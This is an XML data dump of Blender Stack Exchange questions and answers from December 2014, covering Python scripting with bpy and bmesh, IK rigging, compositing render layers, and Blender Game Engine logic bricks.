  <row Id="21434" PostTypeId="2" ParentId="21424" CreationDate="2014-12-27T02:49:38.547" Score="1" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt;  No, at least not without a lot of effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The engine has no baked-in network multiplayer.  You have to set up the whole thing yourself with Python scripting.  It's all quite complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know this is the most in-depth explanation of the subject:&#xA;&lt;a href=&quot;http://youtu.be/4xZRfzOtxzA&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/4xZRfzOtxzA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;^ Should you decide to build that into a full game, be sure to swap pickle for something like json.  Using pickle on untrusted data is a &lt;em&gt;nightmarish fiery hell of insecurity&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're familiar with Python and compiling, check out the Python bindings for ENet:&#xA;&lt;a href=&quot;https://github.com/aresch/pyenet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aresch/pyenet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At one point someone was working on an addon to ease the burden for common folk, but last I checked it wasn't matured enough for actual use.  The project &lt;em&gt;might&lt;/em&gt; be dead as well:&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?242740-Blender-Game-Engine-Multiplayer-Add-on&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?242740-Blender-Game-Engine-Multiplayer-Add-on&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-12-27T02:49:38.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21435" PostTypeId="1" CreationDate="2014-12-27T06:04:43.147" Score="1" ViewCount="597" Body="&lt;p&gt;I'm making a script which allows the user to change the contents of a Text Object as if it were a Textbox in a Word Document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to check what the status of the Caps Lock button is, so that i know whether it's on or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, is there a better way to have a textbox in a game?&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2014-12-27T06:04:43.147" Title="Check status of Caps Lock in Python" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;text-object&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21436" PostTypeId="1" CreationDate="2014-12-27T06:24:15.393" Score="1" ViewCount="755" Body="&lt;p&gt;I'm trying to rig my character's legs with IK. The way I set it up seems pretty standart, and I see it in many tutorials: I have a foot controller (IK) bone near the foot, which controlls the shin bone with the chain of 2. I have some constraints so that knee doesnt bend sideways, and for the hip joint as well to limit it's movement. When I test it just like that all constraints work like a charm.&#xA;However I need some way to control knee orientation, so I add a pole bone to my IK which works out nice, except that the hip constraints are ignored now. Knee constraints still work, but the hip can now bend at any angle imaginable - I can pose character's leg straingt up and so on.&#xA;Would really love to hear how I can avoid that problem. Also I'm a programmer, so maybe there's some script or something I should look into, I just dont know where to look because I'm new to blender and modelling in general.&lt;/p&gt;&#xA;" OwnerUserId="9683" LastActivityDate="2014-12-28T12:19:06.693" Title="Adding pole bone to IK ignores IK constraints" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21438" PostTypeId="2" ParentId="21343" CreationDate="2014-12-27T09:36:48.623" Score="2" Body="&lt;p&gt;After a great deal of rearranging code and learning what doesn't work, I've finally found the solution! The key turned out to be these two lines from the answer to the related question, (&lt;a href=&quot;https://blender.stackexchange.com/questions/13484/using-python-to-create-a-curve-and-attach-its-endpoints-with-hooks-to-two-sphere&quot;&gt;Using python to create a curve and attach its endpoints with hooks to two spheres&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='EDIT')&#xA;&#xA;# the mode_set() invalidated the pointers, so get fresh ones&#xA;p0 = curve.splines[0].bezier_points[0]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all I needed was to add the line &lt;code&gt;p = noodcurv.splines[0].bezier_points&lt;/code&gt;, before entering the loop. So this is the final code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;noodcurv = bpy.data.curves.new('noodcurve', type='CURVE')       #create a new curve&#xA;noodcurv.dimensions = '3D'                                      #set some settings&#xA;noodcurv.resolution_u = 2&#xA;noodcurv.bevel_object = bevob&#xA;noodcurv.use_fill_caps = True&#xA;&#xA;bez = noodcurv.splines.new('BEZIER')                            #create a new spline&#xA;bez.bezier_points.add(len(coords)-1)                            #add points&#xA;p = bez.bezier_points                                           #for convenience&#xA;for k, coord in enumerate(coords):                              #set coordinates &amp;amp; handles&#xA;    p[k].co = coord&#xA;    p[k].handle_right_type = 'VECTOR'                           #or 'AUTOMATIC', 'ALIGNED', 'VECTOR'&#xA;    p[k].handle_left_type = 'VECTOR'&#xA;&#xA;noodcurvobj = bpy.data.objects.new('noodcurve', noodcurv)       #create object&#xA;modnames = ['hook.'+str(k).zfill(3) for k in range(len(coords))] #create modifier names&#xA;&#xA;for k, coord in enumerate(coords):                              #create modifiers &amp;amp; set Parent Object&#xA;    noodcurvobj.modifiers.new(modnames[k], type='HOOK')         &#xA;    noodcurvobj.modifiers[modnames[k]].object = bpy.context.scene.objects['link'+modnames[k][4:]]&#xA;&#xA;scn = bpy.context.scene                                         #scene variable&#xA;scn.objects.link(noodcurvobj)                                   #link to scene &amp;amp; activate&#xA;scn.objects.active = noodcurvobj&#xA;&#xA;bpy.ops.object.mode_set(mode='EDIT')                            #change context&#xA;&#xA;p = noodcurv.splines[0].bezier_points&#xA;for k in range(len(coords)):                                    #assign points to modifiers&#xA;    p[k].select_control_point = True                            #select point&#xA;    p[k].select_left_handle = True&#xA;    p[k].select_right_handle = True&#xA;    bpy.ops.object.hook_assign(modifier=modnames[k])            #assign vextex to modifier&#xA;    p[k].select_control_point = False                           #deselect point&#xA;    p[k].select_left_handle = False&#xA;    p[k].select_right_handle = False&#xA;    p[k].handle_right_type = 'FREE'                             #or 'AUTOMATIC', 'ALIGNED', 'VECTOR'&#xA;    p[k].handle_left_type = 'FREE'&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="813" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-12-27T09:36:48.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21439" PostTypeId="2" ParentId="21421" CreationDate="2014-12-27T10:15:18.267" Score="2" Body="&lt;p&gt;The &lt;code&gt;bpy.ops.particle.new()&lt;/code&gt; is not the operator name you are after.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.active = bpy.data.objects[edge_name]&#xA;bpy.ops.object.particle_system_add()&#xA;bpy.context.object.particle_systems.active.seed = seed_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is usually preferred to not use operators in scripts. For creating particle systems the method may appear a bit odd as adding a modifier seems to be the only non-operator way to do it. You might notice that this way doesn't need to alter the active or selected objects.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object = bpy.data.objects[edge_name]&#xA;&#xA;if len(object.particle_systems) == 0:&#xA;    object.modifiers.new(name='particles',type='PARTICLE_SYSTEM')&#xA;    object.particle_systems.active.seed = seed_value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have the particle system on the object you can either change each setting to suit or you can set it to use an existing particle setup.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.particle_systems[0].settings = bpy.data.particles['MyGreatParticles']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While a new particle setting will be created each time you add a particle modifier and you will get more of them as you repeat this, by using an existing particle setup they will have zero user count and will not be saved to disk.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-12-31T09:51:56.690" LastActivityDate="2014-12-31T09:51:56.690" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21440" PostTypeId="1" AcceptedAnswerId="21443" CreationDate="2014-12-27T10:54:54.043" Score="4" ViewCount="15208" Body="&lt;p&gt;I would like to know which nodes can I combine this two render layers  width?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GEtIv.png&quot; alt=&quot;This is my question&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made this with alpha over node and transparent rendering. I want such an image but I don't want to lose the background (Sky texture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IOBsk.png&quot; alt=&quot;I want this.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping! :)&lt;/p&gt;&#xA;" OwnerUserId="9684" LastActivityDate="2015-01-15T14:46:57.673" Title="How can I combine two render layers?" Tags="&lt;compositor&gt;&lt;node-editor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21441" PostTypeId="1" AcceptedAnswerId="21444" CreationDate="2014-12-27T11:22:07.043" Score="4" ViewCount="655" Body="&lt;p&gt;I'm working on the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?350296-Addon-Animation-Nodes&quot; rel=&quot;nofollow&quot;&gt;Animation Nodes&lt;/a&gt; Addon and want to create some new nodes which can work with mesh data like polygons. To output the created mesh I have to put it onto an object like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh = bpy.data.meshes.new(name = &quot;mesh&quot;)&#xA;mesh.from_pydata(vert_data, edge_data, face_data)&#xA;object.data = mesh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works all fine but the problem is that this generates a new mesh object on each call, which means about 30 times per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to call &lt;code&gt;.from_data&lt;/code&gt; on an existing Mesh but this just appends the new mesh data. Is there a clean and fast way to remove all verts, so that I can append the new data to an empty Mesh?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.new()&#xA;bm.to_mesh(object.data)&#xA;object.data.from_pydata(vert_data, edge_data, face_data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seams to work but throws an error I don't understand (or more a warning).&#xA;This warning looks like here: &lt;a href=&quot;https://developer.blender.org/T40571&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T40571&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain this message or tell me a way to work around that?&lt;/p&gt;&#xA;" OwnerUserId="5449" LastActivityDate="2014-12-28T09:49:10.130" Title="Replacing all mesh elements in a Mesh object" Tags="&lt;python&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21442" PostTypeId="1" CreationDate="2014-12-27T11:35:17.900" Score="2" ViewCount="563" Body="&lt;p&gt;I am having trouble to understand how &lt;em&gt;Render &gt; Dimensions &gt; Frame Range&lt;/em&gt; works when used together with Video Sequence Editor.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start a new scene. Create 2 keyframes for the default created box at position 0 and 100. Have the box make a simple movement. Now under &lt;em&gt;Render menu &gt; Dimensions &gt; Frame Range&lt;/em&gt;, set the &lt;em&gt;Start Frame&lt;/em&gt; to 50 and &lt;em&gt;End Frame&lt;/em&gt; to 80. Render this frame range as video file. It renders correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new scene. Use the above setup but now also go to the &lt;em&gt;Video Sequence Editor&lt;/em&gt; and do &lt;em&gt;Add &gt; Scene &gt; Scene&lt;/em&gt; to add your scene stripe in channel 0.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you now try to render the same frame range (50-80) to a video, you will see that the rendering starts from frame 100 and finishes at 130.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the frame range to 20-40, then the rendering starts from frame 40 and finishes at 60.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, when the Video Sequence Editor is involved, and I setup a frame range &lt;code&gt;X&lt;/code&gt; to &lt;code&gt;Y&lt;/code&gt;, the rendering starts from &lt;code&gt;2*X&lt;/code&gt; (twice as many frames after it should start).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot work this out. Can you please help me?&lt;/p&gt;&#xA;" OwnerUserId="9685" LastEditorUserId="599" LastEditDate="2014-12-28T06:17:56.460" LastActivityDate="2020-12-18T09:38:30.180" Title="Why does the frame range setting behave differently when using multiple scenes in the Video Sequence Editor?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21443" PostTypeId="2" ParentId="21440" CreationDate="2014-12-27T11:49:54.677" Score="5" Body="&lt;p&gt;The setup using the alphaover node and transparent rendering is a good idea, try going back to that and make the following changes: First go to your Blur renderlayer (in the renderlayer panel) and turn on the Environment pass,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B8QZI.png&quot; alt=&quot;Layers&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then go to the compositor and add a second alphaover node. Plug the output of the first alphaover node into the bottom input of the second, then plug the Environment pass from the renderlayer into the other image input and pipe the alphaover output to the composite node. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/X9Yxo.png&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9603" LastEditorUserId="9603" LastEditDate="2015-01-15T14:46:57.673" LastActivityDate="2015-01-15T14:46:57.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21444" PostTypeId="2" ParentId="21441" CreationDate="2014-12-27T12:50:35.597" Score="2" Body="&lt;p&gt;The functions for the removal of mesh elements for &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bpy.types.Mesh.html?highlight=mesh#bpy.types.Mesh.vertices&quot; rel=&quot;nofollow&quot;&gt;Mesh(ID)&lt;/a&gt; are &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/makesrna/intern/rna_mesh.c#l2604&quot; rel=&quot;nofollow&quot;&gt;turned off in the source code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#if 0 /* BMESH_TODO Remove until BMesh merge */&#xA;    func = RNA_def_function(srna, &quot;remove&quot;, &quot;ED_mesh_vertices_remove&quot;);&#xA;    RNA_def_function_flag(func, FUNC_USE_REPORTS);&#xA;    RNA_def_int(func, &quot;count&quot;, 0, 0, INT_MAX, &quot;Count&quot;, &quot;Number of vertices to remove&quot;, 0, INT_MAX);&#xA;#endif&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/release/scripts/modules/bpy_types.py#l381&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;from_pydata&lt;/code&gt;&lt;/a&gt; is a utility function written in python. You could use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bmesh.html#module-bmesh&quot; rel=&quot;nofollow&quot;&gt;bmesh&lt;/a&gt; but it might be slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. (see &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bmesh.types.html#bmesh.types.BMVertSeq.new&quot; rel=&quot;nofollow&quot;&gt;verts.new&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bmesh.types.html#bmesh.types.BMEdgeSeq.new&quot; rel=&quot;nofollow&quot;&gt;edges.new&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_1/bmesh.types.html#bmesh.types.BMFaceSeq.new&quot; rel=&quot;nofollow&quot;&gt;faces.new&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;bm = bmesh.new()&#xA;for co in vert_data:&#xA;    bm.verts.new(co)&#xA;&#xA;#bm.verts.ensure_lookup_table()    &#xA;&#xA;for edge_indices in edge_data:&#xA;    bm.edges.new((&#xA;        bm.verts[edge_indices[0]],&#xA;        bm.verts[edge_indices[1]]&#xA;        ))&#xA;for face_indices in face_data:&#xA;    bm.faces.new(tuple(&#xA;        bm.verts[index] for index in face_indices&#xA;        ))&#xA;&#xA;bm.to_mesh(obj.data)&#xA;bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Btw: I was able to crash blender using &lt;a href=&quot;http://www.pasteall.org/55878/python&quot; rel=&quot;nofollow&quot;&gt;this simple script&lt;/a&gt; to test &lt;code&gt;from_pydata&lt;/code&gt; for existing geometry.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-12-28T09:49:10.130" LastActivityDate="2014-12-28T09:49:10.130" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21446" PostTypeId="1" AcceptedAnswerId="21478" CreationDate="2014-12-27T13:32:23.183" Score="1" ViewCount="13485" Body="&lt;p&gt;how do you make clothes move along with your model? Do you rig the model first and then parent it to the body of the character then click cloth simulation? I am a little bit confused with the process. Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="5420" LastActivityDate="2014-12-28T12:02:08.197" Title="How do you make clothes move along with model" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21447" PostTypeId="1" AcceptedAnswerId="28060" CreationDate="2014-12-27T14:17:18.973" Score="3" ViewCount="125" Body="&lt;p&gt;I am making a game and I wanted to find out, how to make a settings in 1 scene to affect (example, volume) other scene. Is it possible to import data from python and set it to other scene? I need to import a property from 1 scene and paste it in other scene.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-04-03T19:33:01.900" Title="How do I make settings in 1 scene affect other scene?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21448" PostTypeId="1" AcceptedAnswerId="21492" CreationDate="2014-12-27T15:43:27.260" Score="3" ViewCount="1552" Body="&lt;p&gt;I have this structure: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y2Mqt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to place some tiles between the poles. As you can see I already started.&#xA;I modeled a single tile, and I proceded to duplicate it and place it by hand until I got a section covered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now though, I obviously end up with sections of the tiles inside the mesh of the supports. I tried to fix this simply by erasing the exceding parts and trying to connect the remainings to the poles as best as I can. But I still end up with some intersecting mesh. When I render it it doesn't look extremely bad, but it's not exactly perfect. &#xA;And I'm also worried about texturing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there was a better method to achieve this; To have the tiles connect to the poles but without intersecting or going so far as to have sections of tile &lt;em&gt;inside&lt;/em&gt; the poles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the smaller poles intersecting the bigger ones I had the same problem, I resolved it with the boolean modifier. But it wasn't that easy since I ended up with lots of triangles on the meshes that I fixed by hand. I also have some disconnected parts, hardly noticeable though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the blend file: &lt;a href=&quot;http://www.pasteall.org/blend/33562&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33562&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5236" LastEditorUserId="5236" LastEditDate="2014-12-27T17:36:21.487" LastActivityDate="2014-12-28T22:59:37.433" Title="How to avoid objects intersecting eachother" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="13" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21450" PostTypeId="1" CreationDate="2014-12-27T17:10:32.070" Score="0" ViewCount="458" Body="&lt;p&gt;I want to make a nice game, but I need a function, so player can save all his game data. I want to know, how to make it so it saves all game data to the same folder, as the executable Standalone Runtime game file is located. Of course in another folder called Saves, which is located in Game File's folder. Plus, I want to know how to make multiple saves and how to make player able to delete some save files in-game. Please, help me.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2014-12-28T05:55:55.890" Title="Blender how to make save game in exact directory?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21451" PostTypeId="1" CreationDate="2014-12-27T17:21:15.283" Score="4" ViewCount="139" Body="&lt;p&gt;I use blender as a network client. I'm able to know when objects are updated (via &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_6/bpy.app.handlers.html#persistent-handler-example&quot; rel=&quot;nofollow&quot;&gt;handlers&lt;/a&gt;). But I would like to notify the server when a object (or mesh, animation, etc.) are removed, how can I do this? (Should I keep a list of all objects, and compare with existing?)&lt;/p&gt;&#xA;" OwnerUserId="9688" LastEditorUserId="2217" LastEditDate="2014-12-27T18:04:03.007" LastActivityDate="2014-12-27T18:04:03.007" Title="How to know when object are deleted?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;network&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21454" PostTypeId="1" CreationDate="2014-12-27T20:16:24.623" Score="0" ViewCount="144" Body="&lt;p&gt;In Blender, how would I make a brightness level option, what would be the best way to make something like this? Concept design below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5EBfT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="9621" LastEditDate="2015-06-25T14:05:54.567" LastActivityDate="2015-06-25T14:05:54.567" Title="how would I make a brightness level option?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21455" PostTypeId="1" CreationDate="2014-12-27T20:35:36.060" Score="0" ViewCount="277" Body="&lt;p&gt;I'm trying to make a Lightmap to use in Unreal Engine and it's producing some weird effects with the lighting. I've tried spacing everything very far apart by scaling everything tiny, increasing the Lightmap resolution, snapping to pixels in Blender... still no go. Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/g5su8qu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wfmRf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2014-12-27T20:35:36.060" Title="Lightmap strange bleeding" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21456" PostTypeId="1" AcceptedAnswerId="21469" CreationDate="2014-12-27T22:19:11.973" Score="0" ViewCount="128" Body="&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33571&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/33571&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup 3 cubes and a camera ,the camera has 3 set frames on the timeline that move to each of the 3 cubes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i want is to be able to use the scroll wheel of the mouse in BGE and toggle between thoughs 3 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can this be done?&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2014-12-28T05:12:58.793" Title="switching timeline frames in logic editor (help)" Tags="&lt;game-engine&gt;&lt;interface&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21457" PostTypeId="1" CreationDate="2014-12-27T23:39:31.840" Score="9" ViewCount="4679" Body="&lt;p&gt;I baked an audio file to an object's Z location, however it results in very small values (mostly less than &lt;code&gt;.1&lt;/code&gt;).&lt;br&gt;&#xA;How can I increase (multiply) the values resulting from the baked fcurve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I could bake it to another object (e.g. an empty) and then use a driver to do the multiplication, but is there a cleaner way?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2018-06-13T04:59:18.360" Title="How to increase the strength of a baked fcurve?" Tags="&lt;animation&gt;&lt;baking&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21458" PostTypeId="1" AcceptedAnswerId="21460" CreationDate="2014-12-28T00:11:32.287" Score="4" ViewCount="1228" Body="&lt;p&gt;I am creating an options menu for a simple game. I want to make a button that will adjust my lamps energy up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like both ways,  a button that adjust the lamp energy up and a way to adjust it down. &lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="2217" LastEditDate="2014-12-28T01:14:28.400" LastActivityDate="2014-12-28T02:40:54.257" Title="How to make a button that changes lamp energy in BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;light&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21459" PostTypeId="2" ParentId="21423" CreationDate="2014-12-28T00:41:38.190" Score="5" Body="&lt;p&gt;If you are ok with having a few set colors, then there is a way to have color changing in the BGE with &lt;strong&gt;no python&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First duplicate your object that should have the different colors, move it to a different layer. Duplicate it once for each new color, and give each a new materiel. Change the color of each material (duh). Rename the &lt;em&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/1654/2217&quot;&gt;Mesh data&lt;/a&gt;&lt;/em&gt; so you can keep track of which one has what color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now back on the real object, add one &lt;em&gt;Message&lt;/em&gt; sensor, and one &lt;em&gt;Edit Object&lt;/em&gt; actuator for each of the different colors you created for your object, like the logic bricks below. You should set the different colored mesh data (this is why you should of named them) in the &lt;em&gt;Mesh&lt;/em&gt; field of the &lt;em&gt;Edit Object&lt;/em&gt; actuator.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/h4qnX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h4qnX.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally create a menu like &lt;a href=&quot;https://blender.stackexchange.com/a/21071/2217&quot;&gt;this&lt;/a&gt; to hold the buttons that will change the color. You will need a button for each color. Give each button logic bricks like in the image below. The subject in the &lt;em&gt;Message&lt;/em&gt; actuator is important, that is how the button changes the color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6142m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6142m.png&quot; alt=&quot;button logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click on one of the buttons it send a message with the color. The message sensor in the object that will get its color changed, reads the color from the subject line, and triggers the correct &lt;em&gt;Edit Object&lt;/em&gt; actuator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://blend-exchange.giantcowfilms.com/b/3300/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2017-05-14T20:42:53.757" LastActivityDate="2017-05-14T20:42:53.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
